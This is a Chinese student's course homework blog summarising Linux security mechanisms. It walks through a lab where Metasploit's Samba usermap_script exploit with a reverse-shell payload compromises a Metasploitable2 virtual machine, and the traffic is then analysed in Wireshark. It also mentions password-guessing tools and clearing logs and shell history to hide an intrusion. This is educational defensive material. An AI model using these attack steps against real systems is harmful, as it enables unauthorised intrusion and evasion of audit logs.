20199315 2019-2020-2 《网络攻防实践》第8周作业
前言
这个作业属于哪个课程:https://edu.cnblogs.com/campus/besti/19attackdefense
这个作业的要求在哪里:https://edu.cnblogs.com/campus/besti/19attackdefense/homework/10635
我在这个课程的目标是:学习网络攻防相关知识,提升专业技能
这个作业在哪个具体方面帮助我实现目标:学习了解Linux操作系统攻防
知识点梳理与总结————《网络攻防技术与实践》教材第八章(P)
Linux操作系统基本框架概述
linux系统整体架构及详细介绍
Process Scheduler:进程管理或进程调度,负责管理CPU资源,以便让各个进程可以尽量公平的方式访问CPU;
Memory Manager:内存管理,负责管理内存资源,以便让各个进程可以安全地共享机器的内存资源,内存管理还提供虚拟内存的机制,可以让进程使用多余物理内存大小的内存,即不用的内存通过文件系统保存在外存中,而需要使用的时候则加载到内存中;
VFS(Virtual File System):虚拟文件系统,Linux将不同功能的外围设备(比如硬盘/磁盘、输入输出设备、显示设备等)抽象为可以通过统一的文件操作接口(比如open、read、write、close)来访问,这就是Linux系统“一切皆是文件”的体现;(但是并不彻底,因为CPU、内存、网络等还不是文件)
Network:网络子系统,负责管理熊的网络设备,实现多种多样的网络标准;
IPC:进程间通信,IPC不管理任何的硬件,仅仅是负责Linux系统中的进程间通信;
Linux系统进程和线程管理机制
传统上UNIX操作系统下运行的应用程序、服务器及其他程序都称为进程。每个进程都在CPU的虚拟内存中分配地址空间。各个进程的地址空间是完全独立的。Linux是多任务系统,支持并发执行的若干进程。
进程切换:进程之间的切换。内核借助CPU的帮助,负责进程切换的技术细节。通过在撤销进程的CPU资源之前保存进程所有与状态相关的要素,并将进程置于空闲状态。重新激活进程时,将保存的状态原样恢复。
调度:内核必须确定如何在现存进程之间共享CPU时间。重要进程得到的CPU时间多一点,次要进程少一点,确定哪个进程运行多长时间的过程称为调度。
Linux系统内存管理机制
内存管理:是Linux内核中最重要的子系统,它主要提供对内存资源的访问控制。从系统中每个进程的角度看,地址空间中只有自身一个进程,无法感知到其他进程的存在。Linux将虚拟地址空间划分为两个部分,分别为内核空间和用户空间
虚拟内存:Linux系统会在硬件物理内存和进程所使用的内存(称作虚拟内存)之间建立一种映射关系,这种映射是以进程为单位,因而不同的进程可以使用相同的虚拟内存,而这些相同的虚拟内存,可以映射到不同的物理内存上。
Architecture Specific Managers,体系结构相关部分。提供用于访问硬件Memory的虚拟接口。
Architecture Independent Manager,体系结构无关部分。提供所有的内存管理机制
System Call Interface,系统调用接口
特权级别:内核把虚拟地址空间划分为两个部分,因此能够保护各个系统进程,使之彼此分离。所有现代的CPU都提供了几种特权级别,进程可以驻留在某一个特权级别。IA-32体系结构使用4种特权级别构成的系统,各级别可以看作是环,如图3所示。Linux只使用两种不同的状态:核心态和用户状态。两种状态的关键差别在于用户状态禁止访问内核空间。
Linux系统的设备处理机制
设备驱动程序:Linux内核中处理或者管理硬件控制器的软件。
基本特点是:抽象了设备的处理。
Linux支持三类硬件设备:字符设备、块设备和网络设备。
Linux系统的网络机制
网络子系统在Linux内核中主要负责管理各种网络设备,并实现各种网络协议栈,最终实现通过网络连接其它系统的功能。在Linux内核中,网络子系统几乎是自成体系,它包括5个子模块。
Network Device Drivers,网络设备的驱动,和VFS子系统中的设备驱动是一样的。
Device Independent Interface,和VFS子系统中的是一样的。
Network Protocols,实现各种网络传输协议,例如IP, TCP, UDP等等。
Protocol Independent Interface,屏蔽不同的硬件设备和网络协议,以相同的格式提供接口。
System Call interface,系统调用接口,向用户空间提供访问网络设备的统一的接口。
Linux系统的虚拟文件系统
虚拟文件系统(Virtual Filesystem, VFS):管理各种各样的文件系统,屏蔽它们的差异,以统一的方式,为用户程序提供访问文件的接口。VFS子系统包括6个子模块。
Device Drivers,设备驱动,用于控制所有的外部设备及控制器。由于存在大量不能相互兼容的硬件设备,所以也有非常多的设备驱动。
Device Independent Interface, 该模块定义了描述硬件设备的统一方式(统一设备模型),所有的设备驱动都遵守这个定义,可以降低开发的难度。同时可以用一致的形势向上提供接口。
Logical Systems,每一种文件系统,都会对应一个Logical System(逻辑文件系统),它会实现具体的文件系统逻辑。
System Independent Interface,该模块负责以统一的接口(快设备和字符设备)表示硬件设备和逻辑文件系统,这样上层软件就不再关心具体的硬件形态了。
System Call Interface,系统调用接口,向用户空间提供访问文件系统和硬件设备的统一的接口。
Linux系统的调用机制
系统调用:程序透过访问接口来访问硬件设备和其他系统资源
Linux系统的系统调用通过软中断来实现
Linux操作系统安全机制
Linux身份认证机制
用户是Linux身份认证的主题,按照不同的角色类型具体分为以下三类:Root根用户、普通用户和系统用户。
Linux用户组:具有相同特征的用户账号集合,用于简化整个系统的用户权限管理。Linux用户组信息保存在/etc/gshadow文件中,可以使用id -a来进行查询当前用户所属用户组。
登录认证机制:Linux通过init进程执行启动getty产生若干个虚拟控制台,每个控制台执行login进程执行认证过程,认证通过之后,login进程会fork响应的Shell子进程,至此完成登录过程。再这个过程中,使用带salt的密文保存密码,加密算法为若干种加密算法的选择。
Linux的远程登录认证机制:第一种是基于口令的身份认证机制;第二种是基于非对称密码的身份认证机制。此外Linux系统中的大量网络服务都实现了自己的身份认证机制,如MD5散列、LANMANNTLM散列算法等等。
PAM: Linux统一身份认证中间件。PAM的核心部分是库(libpam)和PAM模块的集合,它们是位于文件夹/lib/security/中的动态链接库(.so)文件,以及位于/etc/pam.d/目录中的各个PAM模块配置文件。PAM为认证任务提供四种可用的模块接口。
模块 | 说明 |
---|---|
auth | - 认证模块接口,如验证用户身份、检查密码是否可以通过,并设置用户凭据 |
account | - 账户模块接口,检查指定账户是否满足当前验证条件,如用户是否有权访问所请求的服务,检查账户是否到期 |
password | - 密码模块接口,用于更改用户密码,以及强制使用强密码配置 |
session | - 会话模块接口,用于管理和配置用户会话。会话在用户成功认证之后启动生效 |
Linux授权与访问控制机制
Linux通过上文提到的VFS虚拟文件系统来实现对不同类别文件系统格式的支持
文件所有者:使用文件所有者的uid和gid来指明文件的所有者,在用户创建文件的时候自动进行写入
文件访问权限:文件访问权限通过附带的10个标志位来来进行设置。 第一位表示文件类型,二至九位每三位分成一组。组内三位分别表示,读取权限、写入权限和执行权限。三组分别代表所有者、所有组和所有用户。
特殊执行权限:设置了SUID或SGID的文件。SUID允许执行文件在运行时刻从运行者的身份提升至文件所有者权限。SGID与SUID类似,仅仅是以权限组的形式进行运行。
不足及改进:访问权限的细粒度不足,不支持完整的ACL访问控制列表设置。
Linux安全审计机制
三个日志子系统:连接时间日志、进程统计日志和错误日志纪录
/var/log/message 系统启动后的信息和错误日志,是Linux中最常用的日志之一
/var/log/secure 与安全相关的日志信息
/var/log/maillog 与邮件相关的日志信息
/var/log/cron 与定时任务相关的日志信息
/var/log/spooler 与UUCP和news设备相关的日志信息
/var/log/boot.log 守护进程启动和停止相关的日志消息
/var/log/wtmp 该日志文件永久记录每个用户登录、注销及系统的启动、停机的事件
Linux系统远程攻防技术
远程口令字猜测攻击
通过前面提到的服务嗅探用户账户名或者使用缺省内件账户的用户名进行密码猜测
口令字猜测攻击通常针对使用弱口令的的账户破解
除了SSH网络服务之外,还可以通过对HTTP/HTTPS、FTP等用于自己账户体系和身份认证机制的网络服务进行猜测
口令猜测的常用工具如下:Brutus、THC Hydra、Cain and Abel等工具
防御远程口令猜测技术
确保每个用户都有自己的有效账户和口令字,而不是使用一个账户
特权账户应避免远程直接登录,只能在本地登录
口令长度至少达到8位,包含字母、数字和标点符号
对多次认证失败进行纪录,并在多次无效登录之后断掉连接
不要再自己登录的所有系统上都使用相同的口令字
并要笔录自己的口令字
使用基于公开密钥证书的身份认证机制
修改网络服务的默认端口
网络服务远程渗透攻击
Linux内核中的网络协议栈攻击
LAMP WEB网站中的网络服务攻击
FTP、Samba等文件共享服务
电子邮件收发服务
其他网络服务的攻击
网络服务远程渗透攻击的安全防范措施
禁用不必要的网络服务
尽量选择更安全的网络协议和服务软件
及时更新网络服务版本
使用防火墙为Linux网络服务添加网络访问控制
建立入侵检测与应急响应计划流程
攻击Linux客户端程序和用户
攻击Linux平台上的客户端程序
攻击Linux系统用户
针对Linux客户端攻击的防范措施
及时更新软件
在下载软件的时候通过官方下载渠道,并校验MD5
攻击linux路由器和监听器
针对使用Linux作为路由器系统的路由器的攻击
针对Linux下运行的监听器的攻击,如wireshark、dumpcap等等
针对攻击路由器和监听器的防范
增强安全意识,关注厂商的安全威胁报告
及时进行固件的升级
掌握攻击者的入侵渗透手段,并进行渗透测试
Linux系统本地安全攻防技术
Linux本地特权提升
本地特权提升的三种常用方式:破解Root用户的口令、发掘su和sudo程序中的安全漏洞以及攻击用户态SUID特权提升漏洞和攻击Linux内核代码特权提升漏洞
Linux口令字破解:通过/etc/shadow文件中纪录的口令的hash值,获取口令的加密值,后通过已知密文暴力猜测明文
sudo缺陷进行特权提升:通过sudo程序的漏洞,绕过程序的身份认证机制,获取权限
利用用户态SUID程序:主要包括利用程序漏洞进行特权提升、本地缓冲区溢出攻击、符号连接攻击、竞争条件攻击、共享函数库攻击等
本地特权提升的防范措施
在安装软件的过程中评估风险
及时对服务器进行升级维护
安全的配置系统,设置强口令字
使用SELinux等安全增强模块
Linux系统上的消踪灭迹
通过对message、auth、secure和xferlog等日志文件进行修改做到日志的清理
通过对.bahs_history文件的清理,清理shell的命令痕迹
防范日志消除
将日志信息写道难以修改的媒体介质上
将日志信息使用syslog网络机制写道防护严密的安全日志服务器上去
Linux系统远程控制后门程序
通过替换对系统原有的远程登录程序进行替换实现后门
通过图形化远程控制软件例如VNC实现攻击
实践
使用Metaploit进行Linux远程渗透攻击
使用Metaspolit作为渗透测试软件,攻击Linux靶机上的Samba服务usermap_script安全漏洞,获取Linux靶机的主机访问权限。实践步骤如下:
使用exploit:exploit/multi/samba/usermap_script渗透攻击模块
选择攻击PAYLOAD为远程shell
设置攻击参数
执行攻击
查看是否得到正确的远程shell
攻防对抗实验
攻击方:使用Metasploit选择Metasploitable靶机中发现的漏洞进行渗透攻击,获得远程控制权,并尝试进一步获得Root权限。
防守方:使用wireshark监听获得网络攻击的数据包文件,并结合wireshark分析攻击过程,获得攻击者的IP地址,目标IP和端口、攻击发起时间、攻击利用漏洞、使用shellcode,以及成功之后在本地执行命令输入等信息。
镜像名称 | 用户名 | 密码 | su/su - 提权密码 | IP地址 |
---|---|---|---|---|
kali | kali | kali | kali | 192.168.200.2 |
Metasploitable2-Linux | msfadmin | msfadmin | - | 192.168.200.125 |
提前打开了蜜罐,su -
,tcpdump -i eth0 icmp
,测试攻击机与靶机能够相互ping通
Samba开放tcp端口有:139、445端口。打开 kali 并使用 nmap 进行扫描nmap -T4 192.168.200.125
,Nmap用于在远程机器上探测网络,执行安全扫描,网络审计和搜寻开放端口。-T4
指定扫描过程中使用的时序,级别越高,扫描速度越快,在网络通讯状况良好的情况推荐使用T4。
发现139和445端口已经打开,可以尝试进行攻击
在kali打开渗透软件metasploit,也可以通过命令msfconsole
启动
看到这次的图案,我第一反应是,如果M是黄色,那就是“我爱麦当劳”?(bu
使用search samba
命令从Metasploit渗透代码中找出攻击Samba服务的模块,如下在辅助及渗透攻击模块中,找到针对usermap_script安全漏洞的渗透攻击模块名称为13.exploir/multi/usermap_script
通过命令use xploit/multi/samba/usermap_script
使用渗透攻击模块
show payloads
会显示出有效的攻击载荷,选择攻击PAYLOAD为远程shell
设置攻击的PAYLOAD为set PAYLOAD cmd/unix/reverse
设置攻击机地址LHOSTset LHOST 192.168.200.2
,靶机地址RHOSTset RHOST 192.168.200.125
,使用命令show options
再次查看payload状态
打开wireshark,然后使用命令run
开始攻击
来到wireshark,进行分析
查看攻击发起时间
查看攻击者的IP地址192.168.200.2
,端口43069
;目标IP192.168.200.125
,端口139
由上图也可得出,攻击利用了139端口漏洞。139端口属于TCP服务,Unix中用于Samba服务。开启139端口虽然可以提供共享服务,但是常常被攻击者所利用进行攻击,可以试图获取用户名和密码。
回到Metasploit,通过命令shell
打开shell,(回车),通过id
查看shell权限账户及其所在的权限组,通过命令whomai
查看当前权限账户
再回到wireshark,查看攻击成功建立连接使用的shellcode
也可以找到先前输入的命令
攻击过程分析:
首先攻击机向靶机发送一个SMB的Negotiate Protocol Request(协商协议请求)数据报,并列出攻击机所支持的SMB协议版本
服务器响应一个SMB的Negotiate Protocol Response(协商协议响应)数据报; (如果无可使用的协议版本则返回0XFFFFH,结束通信。)
攻击机向靶机发起一个Session setup X request(会话设置请求)数据报,会话的用户身份为:anonymous(匿名用户)
靶机确认身份后发送一个Session Setup X Response(会话设置响应)数据报同意本次连接。
遇到的问题
- 问题1:在搜索usermap相关模块时候,发现check那里是no,以为不能用,但实际不影响。
思考感悟
本周实验与上周的实验,操作是差不许多,通过上次课上验收时更详细的分析,这次作业也相对容易一些了。
做完另一门课的实验作业来补充两句感想。信任体系老师给了我们参考的实验指导书,但是大家参照上面的做也各种问题百出……说明一方面实验指导书应该写的更详细一些,另一方面每个人的环境啊、顺手的设置啥的也不一样。古诗云,纸上得来终觉浅,绝知此事要躬行。还是要多动手操作啊。
参考资料
此为本人网络攻防学习第八周的内容,如有不足,还请批评指正,不胜感激。